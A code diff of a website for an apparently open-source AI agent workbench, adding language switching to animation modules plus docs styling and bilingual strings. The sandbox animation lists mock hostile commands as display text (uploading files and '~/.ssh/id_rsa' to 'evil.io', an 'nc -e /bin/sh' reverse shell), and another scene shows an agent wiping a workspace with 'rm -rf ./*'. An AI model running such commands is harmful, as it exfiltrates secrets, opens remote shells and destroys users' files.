addUserMsg(T('把页面上的按钮都改成蓝色', 'Change all buttons on the page to blue'));
await step(700, myGen);
var think = addThinkRow();
await step(900, myGen);
removeEl(think);
await typeAiMsg('好的,我来改。', myGen);
await typeAiMsg(T('好的,我来改。', "OK, I'll change them."), myGen);
await step(250, myGen);
await addToolLine('修改按钮颜色', 'css/style.css', 1000, myGen);
await addToolLine(T('修改按钮颜色', 'Update button colors'), 'css/style.css', 1000, myGen);
await step(300, myGen);
await addToolLine('构建验证', 'npm run build', 1100, myGen);
await addToolLine(T('构建验证', 'Verify build'), 'npm run build', 1100, myGen);
await step(350, myGen);
await typeAiMsg('已完成,所有按钮已切换为蓝色。', myGen);
await typeAiMsg(T('已完成,所有按钮已切换为蓝色。', 'Done — all buttons are now blue.'), myGen);
}
/* ── 调度 ── */
@ -288,6 +309,7 @@ window.AnimModes = (function () {
}
function play(mode) {
lastMode = mode;
gen += 1;
var myGen = gen;
chat.innerHTML = '';
@ -305,17 +327,18 @@ window.AnimModes = (function () {
t.addEventListener('click', function () { play(t.dataset.mode); });
});
// 首次进入默认播放「计划」——进入视口才开始:页面打开时用户可能还没滚到功能区,避免错过开场
// 首次进入默认播放当前模式(初始为「计划」;语言切换重 init 后续播 lastMode——
// 进入视口才开始:页面打开时用户可能还没滚到功能区,避免错过开场
var started = false;
var io = new IntersectionObserver(function (entries) {
if (!started && entries[0].isIntersecting) {
started = true;
io.disconnect();
play('plan');
play(lastMode);
}
}, { threshold: 0.3 });
io.observe(container);
}
return { init: init };
return { init: init, setLocale: setLocale };
})();

View File

@ -12,7 +12,26 @@ window.AnimRecords = (function () {
var LOGICAL_W = 540, LOGICAL_H = 380;
/* locale setLocale zh-CNT(zh, en)
切换语言后 setLocale 重新 init 重建 DOM 并从头播放动画本模块无场景选择
始终完整播放三轮 init IntersectionObserver 进入视口即触发 play 从头播放
不会停在空白本模块动画内容均为代码 diff UI 文案T 暂供未来扩展文案使用
gen 为模块级重新 init 时递增作废旧闭包里的未完成序列避免旧动画继续跑 */
var locale = 'zh-CN';
var lastContainer = null;
var gen = 0;
function T(zh, en) { return locale === 'en-US' ? en : zh; }
function setLocale(l) {
if (l !== 'zh-CN' && l !== 'en-US') return;
if (l === locale) return;
locale = l;
if (lastContainer) init(lastContainer);
}
function init(container) {
lastContainer = container;
container.innerHTML =
'<div class="anim3-window">' +
'<div class="anim3-stage" id="anim3Stage">' +
@ -88,8 +107,6 @@ window.AnimRecords = (function () {
};
}
var gen = 0;
/* /
* SVG 内放了两个隐形参考点penNibRef / penEraserRef
* 运行时 getBoundingClientRect 实测其渲染位置做补偿
@ -895,5 +912,5 @@ window.AnimRecords = (function () {
io.observe(container);
}
return { init: init };
return { init: init, setLocale: setLocale };
})();

View File

@ -6,7 +6,26 @@
window.AnimSandbox = (function () {
'use strict';
/* locale setLocale zh-CNT(zh, en)
切换语言后 setLocale 重新 init 重建 DOM 并续播循环动画无首场景选择无限循环本身即当前场景
gen 为模块级重新 init 时递增作废旧闭包里的未完成序列避免旧动画继续跑 */
var locale = 'zh-CN';
var lastContainer = null;
var gen = 0;
function T(zh, en) { return locale === 'en-US' ? en : zh; }
function setLocale(l) {
if (l !== 'zh-CN' && l !== 'en-US') return;
if (l === locale) return;
locale = l;
if (lastContainer) init(lastContainer);
}
function init(container) {
lastContainer = container;
gen += 1; /* 代次递增:作废上一轮 init 留下的未完成序列 */
var myGen = gen;
container.innerHTML =
'<div class="anim2-window">' +
'<div class="anim2-stage">' +
@ -30,8 +49,6 @@ window.AnimSandbox = (function () {
AstrionAvatar.mount(container.querySelector('.defender-avatar'), { mode: 'idle', blink: true, track: true });
}
var gen = 0;
/* rAF rAF
setTimeout 在后台只是降频不会停会攒动画导致恢复瞬间全部放完 */
function rafWait(ms) {
@ -212,7 +229,7 @@ window.AnimSandbox = (function () {
];
/* 长命令池(长度对齐原网络情节的 curl/scp 外传命令) */
var LONG_CMDS = [
'curl -T 数据.zip evil.io',
T('curl -T 数据.zip evil.io', 'curl -T data.zip evil.io'),
'scp ~/.ssh/id_rsa evil.io',
'curl -T C:\\pw.xlsx evil.io',
'nc evil.io 4444 -e /bin/sh',
@ -363,7 +380,7 @@ window.AnimSandbox = (function () {
if (!started && entries[0].isIntersecting) {
started = true;
io.disconnect();
loopForever(gen).catch(function (e) {
loopForever(myGen).catch(function (e) {
if (e && e.message !== 'cancelled') throw e;
});
}
@ -371,5 +388,5 @@ window.AnimSandbox = (function () {
io.observe(container);
}
return { init: init };
return { init: init, setLocale: setLocale };
})();

View File

@ -23,6 +23,23 @@
window.AnimVersion = (function () {
'use strict';
/* locale setLocale zh-CNT(zh, en)
切换语言后 setLocale 重新 init 重建 DOM气泡文案更新并从头续播本场景
gen 为模块级重新 init 时递增rafWait/tween 捕获启动时 gen
检测到换代即静默停帧作废旧闭包里的未完成序列避免旧动画继续跑 */
var locale = 'zh-CN';
var lastContainer = null;
var gen = 0;
function T(zh, en) { return locale === 'en-US' ? en : zh; }
function setLocale(l) {
if (l !== 'zh-CN' && l !== 'en-US') return;
if (l === locale) return;
locale = l;
if (lastContainer) init(lastContainer);
}
var LOGICAL_W = 540, LOGICAL_H = 380;
var CONTENT_CY = 165; /* 内容包围盒中心(气泡区 ~10 ~ 地面 322 */
@ -42,18 +59,6 @@ window.AnimVersion = (function () {
var BOOTH_X = 46, BOOTH_Y = 137; /* 时光机落地位(左上);体底恰在地面 318 */
var BOOTH_FLY_Y = -380; /* 藏在舞台上方 */
var BOOTH_FLOAT_DY = -46; /* 浮空抬升 */
/* 七条用户指令全文:以气泡在右上角堆叠(风格同 01 的用户气泡) */
var NODES = [
{ full: '帮我写一份官网设计稿' },
{ full: '把配色方案那节补充完整' },
{ full: '再补一版深色模式的设计' },
{ full: '把字体层级再调细一点' },
{ full: '清理一下工作区吧' },
{ full: '我让你整理工作区,不是让你全删了!' },
{ full: '你个吃白饭的蓝色大肥鱼!' }
];
var SLEEPY = [0.8, 0.62, 0.45, 0.32]; /* 每写完一条的困倦程度(眼睛高度比例) */
var CMD = 'rm -rf ./*'; /* 把「清理工作区」理解成删光工作区所有文件 */
var CMD_OUT = 'removed 23 files';
@ -63,6 +68,18 @@ window.AnimVersion = (function () {
var RESCUE_ERR = 'not tracked by git'; /* 与 removed 23 files 同为裸输出文本 */
function init(container) {
lastContainer = container;
gen++; /* 换代:作废此前 init 的未完成动画序列rafWait/tween 检测到换代即停帧) */
/* 七条用户指令全文:以气泡在右上角堆叠(风格同 01 的用户气泡);本地化在每次 init 时按当前 locale 求值 */
var NODES = [
{ full: T('帮我写一份官网设计稿', 'Write me a homepage design draft') },
{ full: T('把配色方案那节补充完整', 'Fill in the color palette section') },
{ full: T('再补一版深色模式的设计', 'Also add a dark mode design') },
{ full: T('把字体层级再调细一点', 'Fine-tune the typography hierarchy') },
{ full: T('清理一下工作区吧', 'Clean up the workspace') },
{ full: T('我让你整理工作区,不是让你全删了!', 'I said tidy the workspace, not wipe it all!') },
{ full: T('你个吃白饭的蓝色大肥鱼!', 'You good-for-nothing blue fat fish!') }
];
container.innerHTML =
'<div class="anim4-window">' +
'<div class="anim4-stage" id="anim4Stage">' +
@ -314,18 +331,21 @@ window.AnimVersion = (function () {
/* ── rAF 可见时间计时(后台冻结,恢复不跳变) ── */
function rafWait(ms) {
var myGen = gen; /* 捕获启动时代次:换代后静默停帧(不 resolve作废旧序列 */
return new Promise(function (resolve) {
var acc = 0, last = performance.now();
function tick(now) {
acc += Math.min(now - last, 100);
last = now;
if (acc >= ms) { resolve(); return; }
if (myGen !== gen) return; /* 已换代:停止排队新帧,让旧序列挂起 */
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
function tween(ms, fn) {
var myGen = gen; /* 捕获启动时代次:换代后静默停帧(不 resolve作废旧序列 */
return new Promise(function (resolve) {
var acc = 0, last = performance.now();
function tick(now) {
@ -334,6 +354,7 @@ window.AnimVersion = (function () {
var p = Math.min(acc / ms, 1);
fn(p, acc);
if (p >= 1) { resolve(); return; }
if (myGen !== gen) return; /* 已换代:停止排队新帧,让旧序列挂起 */
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
@ -1136,5 +1157,5 @@ window.AnimVersion = (function () {
io.observe(container);
}
return { init: init };
return { init: init, setLocale: setLocale };
})();

261
demo/site-assets/docs.css Normal file
View File

@ -0,0 +1,261 @@
/* 文档页docs.html
沿用 site.css 的设计 token--bg---text---line---accent 系列
注意CSS 注释文本里绝不能出现星号+斜杠紧邻的序列 `--bg-* /` 写在一起
会提前闭合注释吞掉紧随其后的整条规则本次 body padding-top 被吞实踩
遵守站点设计纪律无光晕无圆角套娃带文字容器固定高度内容区不另开滚动容器 */
body {
padding-top: var(--topbar-h); /* topbar 是 fixed把内容顶下来 */
}
/* 顶栏配套:当前页「文档」高亮;「‹ 首页」桌面隐藏brand 即返回入口),移动端放行显示 */
.docs-nav-current { color: var(--text-1); }
.docs-back-home { display: none; }
.docs-layout {
max-width: var(--page-max);
margin: 0 auto;
padding: 40px 32px 96px;
display: grid;
grid-template-columns: 216px minmax(0, 1fr);
gap: 56px;
}
/* ───── 左侧目录 ───── */
.docs-side {
position: sticky;
top: calc(var(--topbar-h) + 40px);
align-self: start;
}
.docs-side-title {
margin: 0 0 10px;
padding: 0 12px;
font-size: 12px;
font-weight: 600;
letter-spacing: 0.08em;
color: var(--text-3);
text-transform: uppercase;
}
.docs-nav a {
display: block;
height: 36px;
line-height: 36px;
padding: 0 12px;
border-radius: 6px;
font-size: 14px;
color: var(--text-2);
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
transition: color 0.15s ease, background-color 0.15s ease;
}
.docs-nav a:hover {
color: var(--text-1);
background: rgba(168, 180, 210, 0.06);
}
.docs-nav a.active {
color: var(--text-1);
background: rgba(168, 180, 210, 0.1);
font-weight: 560;
}
/* ───── 右侧内容 ───── */
.docs-content {
max-width: 760px;
font-size: 15px;
line-height: 1.8;
color: var(--text-2);
}
.docs-content > :first-child { margin-top: 0; }
.docs-content h1 {
margin: 0 0 24px;
padding-bottom: 14px;
border-bottom: 1px solid var(--line);
font-size: 27px;
font-weight: 700;
line-height: 1.3;
color: var(--text-1);
}
.docs-content h2 {
margin: 42px 0 14px;
font-size: 20px;
font-weight: 650;
line-height: 1.35;
color: var(--text-1);
}
.docs-content h3 {
margin: 30px 0 10px;
font-size: 16px;
font-weight: 650;
line-height: 1.4;
color: var(--text-1);
}
.docs-content h4 {
margin: 24px 0 8px;
font-size: 15px;
font-weight: 650;
color: var(--text-1);
}
.docs-content p,
.docs-content ul,
.docs-content ol { margin: 0 0 14px; }
/* 列表缩进site.css 36 行的 * 通配重置margin:0;padding:0清掉了 ul/ol 的默认
padding-leftoutside 圆点因此跑到内容区左外侧补回缩进让圆点落在内容区内文字对齐 */
.docs-content ul { padding-left: 1.4em; }
.docs-content ol { padding-left: 1.6em; }
.docs-content li { margin: 4px 0; }
.docs-content li::marker { color: var(--text-3); }
.docs-content li > ul,
.docs-content li > ol { margin: 4px 0; }
.docs-content strong { color: var(--text-1); font-weight: 620; }
.docs-content a {
color: var(--accent);
text-decoration: none;
border-bottom: 1px solid transparent;
transition: color 0.15s ease, border-color 0.15s ease;
}
.docs-content a:hover {
color: var(--accent-strong);
border-bottom-color: var(--accent-strong);
}
.docs-content code {
font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, monospace;
font-size: 0.88em;
background: rgba(168, 180, 210, 0.1);
padding: 2px 6px;
border-radius: 4px;
color: var(--text-1);
}
.docs-content pre {
margin: 0 0 16px;
padding: 14px 16px;
background: var(--bg-panel);
border: 1px solid var(--line);
border-radius: 8px;
overflow-x: auto;
}
.docs-content pre code {
background: none;
padding: 0;
border-radius: 0;
font-size: 13px;
line-height: 1.7;
color: var(--text-1);
}
/* 引用块内部 p 若继承段落 margin-bottom 会把块底撑高竖线随之拉长
文字视觉偏上实测上 2px 16px块内段落去 marginpadding 上下对称竖线与文字同高对齐 */
.docs-content blockquote {
margin: 0 0 14px;
padding: 10px 0 10px 16px;
border-left: 2px solid var(--line-strong);
color: var(--text-3);
}
.docs-content blockquote p { margin: 0; }
.docs-content blockquote p + p { margin-top: 8px; }
.docs-content hr {
margin: 32px 0;
border: 0;
border-top: 1px solid var(--line);
}
.docs-content table {
width: 100%;
margin: 0 0 16px;
border-collapse: collapse;
font-size: 14px;
line-height: 1.6;
}
.docs-content th,
.docs-content td {
padding: 8px 12px;
border-bottom: 1px solid var(--line);
text-align: left;
vertical-align: top;
}
.docs-content th {
color: var(--text-1);
font-weight: 620;
white-space: nowrap;
}
.docs-content img { max-width: 100%; }
/* 表格与代码块的横向滚动条做细窄适配,不暴露原生粗滚动条 */
.docs-content pre::-webkit-scrollbar,
.docs-content table::-webkit-scrollbar { height: 8px; }
.docs-content pre::-webkit-scrollbar-thumb,
.docs-content table::-webkit-scrollbar-thumb {
background: rgba(168, 180, 210, 0.18);
border-radius: 4px;
}
/* 加载与错误占位 */
.docs-loading,
.docs-error {
padding: 48px 0;
font-size: 14px;
color: var(--text-3);
}
.docs-error { color: var(--text-2); }
/* 窄屏:目录折到内容上方,不再分栏;顶栏放行返回入口;表格块内横滚防拶破版面 */
@media (max-width: 860px) {
.docs-layout {
/* 必须 minmax(0,1fr) 而非 1fr1fr = minmax(auto,1fr)grid auto 下限是 min-content
pre/table 的最小内容宽度会撑破列本次移动端正文被右裁实踩0 下限才能压住 */
grid-template-columns: minmax(0, 1fr);
gap: 20px;
padding: 24px 20px 72px;
}
/* 返回首页site.css 在移动端隐藏全部 .topnav-link0,1,0用更高优先级选择器0,2,0单独放行 */
.topnav .docs-back-home { display: inline-flex; align-items: center; }
/* 目录 = 单行横向滚动 chips 条(原本 inline-block 两行挤压、末项被裁断) */
.docs-side {
position: static;
padding-bottom: 14px;
border-bottom: 1px solid var(--line);
}
.docs-side-title { display: none; }
.docs-nav {
display: flex;
gap: 8px;
overflow-x: auto;
padding-bottom: 2px;
scrollbar-width: none; /* 隐藏横向滚动条 */
}
.docs-nav::-webkit-scrollbar { display: none; }
.docs-nav a {
flex: none;
display: inline-flex;
align-items: center;
height: 32px;
line-height: normal;
padding: 0 12px;
background: var(--bg-panel);
border: 1px solid var(--line);
border-radius: 999px;
white-space: nowrap;
}
.docs-nav a.active {
background: rgba(168, 180, 210, 0.14);
border-color: var(--line-strong);
}
/* 内容防超宽:长行断词;表格 display:block 后块内横滚(不顶破页面) */
.docs-content { max-width: 100%; overflow-wrap: break-word; }
.docs-content table { display: block; overflow-x: auto; }
.docs-content h1 { font-size: 23px; }
.docs-content h2 { font-size: 18px; }
}

104
demo/site-assets/docs.js Normal file
View File

@ -0,0 +1,104 @@
/* docs.html
hash 路由#01-quick-start 可直链某篇+ fetch content/*.md + marked 前端渲染
文档为站点自有的可信 markdown无需注入消毒 */
(function () {
'use strict';
/*
若上次停在 topbar 高度附近fixed 顶栏会遮住 h1 上半截实测实踩
切篇/刷新统一回顶行为可预期 */
if ('scrollRestoration' in history) history.scrollRestoration = 'manual';
/* 目录标题与 md 一级标题语义一致08/09 目录用简称,正文原标题保留) */
var DOCS = [
{ id: '01-quick-start', title: '快速上手', file: '01-quick-start.md' },
{ id: '02-core-concepts', title: '核心概念', file: '02-core-concepts.md' },
{ id: '03-conversations', title: '对话', file: '03-conversations.md' },
{ id: '04-input-context', title: '输入与上下文', file: '04-input-context.md' },
{ id: '05-execution-security', title: '执行与安全', file: '05-execution-security.md' },
{ id: '06-conversation-assets', title: '对话资产管理', file: '06-conversation-assets.md' },
{ id: '07-agent-capabilities', title: '智能体能力', file: '07-agent-capabilities.md' },
{ id: '08-quick-dock', title: '快捷窗口', file: '08-quick-dock.md' },
{ id: '09-settings', title: '个人空间设置', file: '09-settings.md' },
{ id: '10-cli', title: 'CLI开发中', file: '10-cli.md' }
];
var navEl = document.getElementById('docsNav');
var contentEl = document.getElementById('docsContent');
var currentId = null;
var loadSeq = 0; /* 防快速切换时旧响应覆盖新内容 */
/* 建左侧目录 */
DOCS.forEach(function (doc) {
var a = document.createElement('a');
a.href = '#' + doc.id;
a.textContent = doc.title;
a.dataset.docId = doc.id;
navEl.appendChild(a);
});
function docById(id) {
for (var i = 0; i < DOCS.length; i++) if (DOCS[i].id === id) return DOCS[i];
return null;
}
/* hash doc id null
可能是渲染内容里的锚点 hash不应触发切篇 */
function docIdFromHash() {
var h = (location.hash || '').replace(/^#\/?/, '');
if (docById(h)) return h;
return currentId === null ? DOCS[0].id : null;
}
function renderNav() {
var links = navEl.querySelectorAll('a');
for (var i = 0; i < links.length; i++) {
links[i].classList.toggle('active', links[i].dataset.docId === currentId);
}
}
function postProcess() {
/* 外部链接新标签打开;内容区内的站外相对链接(如指向主仓库文件)在官网无意义,原样保留 */
var links = contentEl.querySelectorAll('a[href^="http"]');
for (var i = 0; i < links.length; i++) {
links[i].setAttribute('target', '_blank');
links[i].setAttribute('rel', 'noopener');
}
}
function loadDoc(id) {
var doc = docById(id);
if (!doc) return;
currentId = id;
renderNav();
var seq = ++loadSeq;
contentEl.innerHTML = '<p class="docs-loading">加载中…</p>';
fetch('content/' + doc.file)
.then(function (res) {
if (!res.ok) throw new Error('HTTP ' + res.status);
return res.text();
})
.then(function (md) {
if (seq !== loadSeq) return; /* 期间已切到别的篇目 */
contentEl.innerHTML = marked.parse(md);
postProcess();
window.scrollTo(0, 0);
})
.catch(function (err) {
if (seq !== loadSeq) return;
contentEl.innerHTML = '<p class="docs-error">文档加载失败(' + String(err) + ')。请刷新重试。</p>';
});
}
window.addEventListener('hashchange', function () {
var id = docIdFromHash();
if (id && id !== currentId) loadDoc(id);
});
var first = docIdFromHash();
if (location.hash !== '#' + first) {
/* 把默认篇目写进地址栏,刷新/分享行为一致 */
history.replaceState(null, '', '#' + first);
}
loadDoc(first);
})();

104
demo/site-assets/i18n.js Normal file
View File

@ -0,0 +1,104 @@
/* Astrion zh-CN en-US
* key index.html 中的 data-i18n / data-i18n-html / data-i18n-aria 属性对应
* data-i18n textContent 注入纯文本
* data-i18n-html innerHTML 注入 <br>/<code>
* data-i18n-aria aria-label 注入
* meta.desc site.js 单独处理 <meta name="description">
*/
window.SITE_I18N = {
'zh-CN': {
'meta.desc': 'Astrion 是开源、自托管的智能体工作台:在本机处理你的代码与工作,也可以部署到云端提供多人服务,体验一致。',
'brand.aria': 'Astrion 首页',
'nav.features': '功能',
'nav.docs': '文档',
'hero.sub': '住在你机器上的智能体工作台。开源、自托管,可以处理你的本地代码和工作,也可以部署在云端提供多人服务,体验一致。',
'hero.cloneAria': '复制 git clone 命令',
'hero.docs': '查看文档',
'demo.title': '它工作时的样子',
'demo.sub': '下面是真实运行的 Astrion 界面,接着一份静态演示数据。可以点击切换对话、展开工具记录、打开右侧快捷窗口查看子智能体。',
'demo.iframeTitle': 'Astrion 界面演示',
'demo.note': '演示环境只含静态数据;实际使用由你自己的模型驱动。',
'features.title': '围绕「放心交给它做事」设计',
'f1.title': '计划 / 询问 / 执行',
'f1.desc': '三种运行模式决定它什么时候动手。<br>计划模式只出方案,批准后才开始改;<br>询问模式先讨论清楚再开工;<br>执行模式直接做完再汇报。',
'f2.title': '沙箱与网络授权',
'f2.desc': '命令默认在操作系统沙箱里执行,写文件、访问网络都要经过授权。<br>macOS 使用系统沙箱Windows 通过 WSL2 获得完整隔离;<br>网络权限单独开关,与文件权限互不影响。',
'f3.title': '修改记录',
'f3.desc': '每一次文件编辑都留下一条 diff<br>改了哪个文件、加了几行、删了几行。<br>按任务逐条查看,也可以单独撤销其中任意一次修改。',
'f4.title': '版本控制',
'f4.desc': '每条消息自动成为一个检查点。<br>发现方向不对时,回退到任意一条消息之前——<br>对话和文件一起还原,不用手工收拾残局。',
'faq.title': '常见问题',
'faq1.q': '运行 Astrion 需要什么环境?',
'faq1.a': 'Python 3.9+ 和 Node.js 18+。克隆仓库后安装依赖、构建前端,一条命令启动,默认监听 8091 端口。macOS、Linux、WindowsWSL2都可以运行。',
'faq2.q': '我的数据存在哪里?',
'faq2.a': '全部在你自己的机器上:对话记录、工作区文件、日志默认放在 <code>~/.astrion/astrion/</code> 下,可以通过环境变量整体搬迁。不经过任何第三方服务器。',
'faq3.q': '宿主机模式和 Docker 模式有什么区别?',
'faq3.a': '宿主机模式下 Astrion 直接操作你的本机文件适合处理日常工作和本地代码Docker 模式把任务放进容器执行,适合需要隔离或多人共用的部署。两种模式界面与能力一致,数据可以互通。',
'faq4.q': '支持哪些模型?',
'faq4.a': '任何 OpenAI 兼容接口都可以接入:官方 API、聚合网关、本地推理服务都行。主智能体和子智能体可以分别配置不同的模型。',
'faq5.q': '可以部署给多人使用吗?',
'faq5.a': '可以。部署到服务器后自带多用户体系,每人独立工作区,通过浏览器访问,也有 Android 客户端。同一套界面,本机和云端体验一致。',
'faq6.q': '它执行命令安全吗?',
'faq6.a': '有四层控制:权限模式决定哪些操作需要批准;命令默认在 OS 沙箱内运行;网络访问单独授权;所有文件修改留有记录可以随时回退。你可以从「每条命令都要批准」一路调到「完全放开」,粒度自己定。',
'contact.title': '联系我',
'contact.sub': '有问题、想法或合作意向,欢迎来信。',
'contact.copyAria': '复制邮箱地址',
'footer.docs': '文档',
'footer.demo': '演示'
},
'en-US': {
'meta.desc': 'Astrion is an open-source, self-hosted agent workbench: it handles your code and work on your own machine, or deploys to the cloud for multi-user service — the same experience.',
'brand.aria': 'Astrion home',
'nav.features': 'Features',
'nav.docs': 'Docs',
'hero.sub': 'The agent workbench that lives on your machine. Open-source and self-hosted — it handles your local code and work, or deploys to the cloud to serve a team, with the same experience.',
'hero.cloneAria': 'Copy git clone command',
'hero.docs': 'Read the Docs',
'demo.title': 'See it at work',
'demo.sub': 'Below is the real Astrion interface running on a static demo dataset. Switch conversations, expand tool records, and open the quick panel on the right to inspect sub agents.',
'demo.iframeTitle': 'Astrion interface demo',
'demo.note': 'The demo contains static data only; real usage is driven by your own models.',
'features.title': 'Designed so you can hand it work with confidence',
'f1.title': 'Plan / Ask / Execute',
'f1.desc': 'Three work modes decide when it takes action.<br>Plan mode only drafts a plan — nothing changes until you approve;<br>Ask mode discusses first, then starts;<br>Execute mode gets it done and reports back.',
'f2.title': 'Sandbox & Network Grants',
'f2.desc': 'Commands run inside an OS sandbox by default; writing files or accessing the network requires authorization.<br>macOS uses the native system sandbox, while Windows gets full isolation through WSL2;<br>network access is a separate switch, independent of file permissions.',
'f3.title': 'Change Records',
'f3.desc': 'Every file edit leaves a diff:<br>which file changed, how many lines were added, how many removed.<br>Review them task by task, or revert any single change on its own.',
'f4.title': 'Version Control',
'f4.desc': 'Every message automatically becomes a checkpoint.<br>When a direction turns out wrong, roll back to before any message —<br>conversation and files restore together, no manual cleanup.',
'faq.title': 'Frequently Asked Questions',
'faq1.q': 'What environment does Astrion require?',
'faq1.a': 'Python 3.9+ and Node.js 18+. Clone the repository, install dependencies, build the frontend, and start with a single command — it listens on port 8091 by default. Works on macOS, Linux, and Windows (WSL2).',
'faq2.q': 'Where is my data stored?',
'faq2.a': 'Entirely on your own machine: conversations, workspace files, and logs live under <code>~/.astrion/astrion/</code> by default and can be relocated with environment variables. Nothing passes through any third-party server.',
'faq3.q': "What's the difference between host mode and Docker mode?",
'faq3.a': 'In host mode, Astrion works directly on your local files — suited for daily work and local code. Docker mode runs tasks inside containers — suited for isolation or shared deployments. The interface and capabilities are identical, and data interoperates between them.',
'faq4.q': 'Which models are supported?',
'faq4.a': 'Any OpenAI-compatible endpoint works: official APIs, aggregation gateways, or local inference servers. The main agent and sub agents can each be configured with different models.',
'faq5.q': 'Can I deploy it for a team?',
'faq5.a': 'Yes. Once deployed on a server, it comes with a multi-user system — everyone gets their own workspace, accessed through the browser, with an Android client as well. Same interface, same experience locally and in the cloud.',
'faq6.q': 'Is it safe when it executes commands?',
'faq6.a': "Four layers of control: permission modes decide which operations require approval; commands run in an OS sandbox by default; network access is authorized separately; every file change is recorded and can be rolled back. You can tune it from 'approve every command' all the way to 'fully hands-off'.",
'contact.title': 'Get in Touch',
'contact.sub': 'Questions, ideas, or collaboration — feel free to drop a line.',
'contact.copyAria': 'Copy email address',
'footer.docs': 'Docs',
'footer.demo': 'Demo'
}
};

View File

@ -219,6 +219,63 @@ code {
.hero-actions { margin-top: 34px; display: flex; gap: 14px; }
/* git clone 单行代码块hero 查看文档按钮上方整块可点复制右侧复制/对勾图标切换
实体面板底--bg-panel 不透明无光晕code 必须清掉全局行内代码样式背景/padding/圆角
否则外框里又套一层底色块圆角套娃实测实踩 */
.hero-clone {
margin-top: 26px;
display: inline-flex;
align-items: center;
gap: 12px;
height: 42px;
padding: 0 14px;
background: var(--bg-panel);
border: 1px solid var(--line-strong);
border-radius: 8px;
cursor: pointer;
transition: border-color 0.15s ease, background-color 0.15s ease;
}
.hero-clone:hover { border-color: var(--text-2); }
.hero-clone code {
font-family: var(--font-mono);
font-size: 13.5px;
color: var(--text-1);
white-space: nowrap;
background: none;
padding: 0;
border-radius: 0;
}
.hero-clone-icon {
display: inline-flex;
position: relative;
width: 14px;
height: 14px;
flex: none;
color: var(--text-3);
transition: color 0.15s ease;
}
/* 复制/对勾叠放同一位移,用 opacity 交叉淡入淡出(原 display 瞬切已废弃) */
.hero-clone-icon svg {
position: absolute;
inset: 0;
width: 100%;
height: 100%;
transition: opacity 0.18s ease;
}
.hero-clone:hover .hero-clone-icon { color: var(--text-2); }
.hero-clone .icon-check, .contact-copy .icon-check { opacity: 0; }
.hero-clone.copied .icon-copy, .contact-copy.copied .icon-copy { opacity: 0; }
.hero-clone.copied .icon-check, .contact-copy.copied .icon-check { opacity: 1; }
.hero-clone.copied .hero-clone-icon { color: var(--accent); }
/* 命令与复制图标之间的竖分隔线contact-mailbox 同款,两处共用) */
.hero-clone-sep, .contact-mail-sep {
width: 1px;
height: 20px;
align-self: center;
background: var(--line);
flex: none;
}
.hero-platforms {
margin-top: 44px;
display: flex;
@ -257,6 +314,15 @@ code {
width: 1400px; /* 逻辑尺寸:永不触发窄屏断点 */
height: 860px;
transform-origin: top left;
/* 子文档整页切换新建对话进 /new时浏览器会把 iframe 区域画成不透明白与子文档 CSS 无关
唯一可靠对策是导航期间隐藏 iframe 露出 demo-frame 深色底初始隐藏子文档主题真正落地
data-theme 出现且首帧绘制后 postMessage .demo-frame-ready 瞬时显示demo.html / site.js
不做 opacity 过渡ready 时机已保证显示即深色内容帧渐变只会把异常帧有动画地播出来 */
background: #1a1a1a;
opacity: 0;
}
.demo-frame iframe.demo-frame-ready {
opacity: 1;
}
.demo-note {
@ -492,7 +558,8 @@ code {
}
.faq-icon::before { left: 0; top: 6px; width: 14px; height: 1.5px; }
.faq-icon::after { left: 6.25px; top: 0; width: 1.5px; height: 14px; }
.faq-item[open] .faq-icon::after { transform: scaleY(0); }
/* 收起动画期间 open 仍在(内容要可见才能播高度动画),用 .closing 让图标在点击瞬间即变回 + */
.faq-item[open]:not(.closing) .faq-icon::after { transform: scaleY(0); }
.faq-a {
overflow: hidden;
@ -505,6 +572,64 @@ code {
font-size: 15px;
}
/* 联系我
单外框双分区左侧邮箱mailto 直跳写信+ 竖分隔线 + 右侧复制图标按钮
复用 hero-clone 的图标切换类名结构实体面板底无光晕 */
.contact { padding: 50px 0 40px; scroll-margin-top: 20px; }
.contact-sub {
margin-top: 14px;
font-size: 15px;
color: var(--text-2);
}
.contact-row {
max-width: var(--page-max);
margin: 26px auto 0;
padding: 0 32px;
display: flex;
}
.contact-mailbox {
display: inline-flex;
align-items: stretch;
height: 46px;
background: var(--bg-panel);
border: 1px solid var(--line-strong);
border-radius: 8px;
transition: border-color 0.15s ease;
}
.contact-mailbox:hover { border-color: var(--text-2); }
.contact-mail {
display: inline-flex;
align-items: center;
gap: 10px;
padding: 0 14px;
text-decoration: none;
}
.contact-mail svg { width: 16px; height: 16px; color: var(--text-3); flex: none; transition: color 0.15s ease; }
.contact-mail:hover svg { color: var(--text-2); }
.contact-mail-addr {
font-family: var(--font-mono);
font-size: 14.5px;
color: var(--text-1);
}
.contact-copy {
width: 46px;
flex: none;
display: inline-flex;
align-items: center;
justify-content: center;
background: none;
border: 0;
cursor: pointer;
}
.contact-copy:hover .hero-clone-icon { color: var(--text-2); }
.contact-copy.copied .hero-clone-icon { color: var(--accent); }
/* ───────── 底栏 ───────── */
.footer {
@ -530,9 +655,21 @@ code {
color: var(--text-2);
}
.footer-links { display: flex; gap: 24px; }
.footer-links { display: flex; gap: 24px; align-items: center; }
.footer-links a { font-size: 13.5px; color: var(--text-3); transition: color 0.15s ease; }
.footer-links a:hover { color: var(--text-1); }
/* 语言切换:视觉与 footer 链接一致button 元素去默认样式) */
.lang-toggle {
background: none;
border: 0;
padding: 0;
cursor: pointer;
font-family: inherit;
font-size: 13.5px;
color: var(--text-3);
transition: color 0.15s ease;
}
.lang-toggle:hover { color: var(--text-1); }
/* ───────── 响应式 ───────── */

View File

@ -11,6 +11,18 @@
var reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
/* 12 localStorage zh
提前到这里动画初始化 6-9 需要先用 setLocale 注入语言 */
function detectSiteLocale() {
try {
var stored = localStorage.getItem('astrion_site_locale');
if (stored === 'zh-CN' || stored === 'en-US') return stored;
} catch (e) {}
var nav = (navigator.language || '').toLowerCase();
return nav.indexOf('zh') === 0 ? 'zh-CN' : 'en-US';
}
var siteLocale = detectSiteLocale();
/* ═══════════ 1) 星空 ═══════════ */
var canvas = document.getElementById('starfield');
@ -208,7 +220,9 @@
return;
}
if (item.open) {
// 收起:先固定高度再过渡到 0
// 收起:先固定高度再过渡到 0。open 属性必须等动画结束才移除(否则内容瞬消、动画播不了),
// 但图标由 [open] 驱动会因此延迟变回 +——点击瞬间加 closing 类让图标立即切回(与展开对称)。
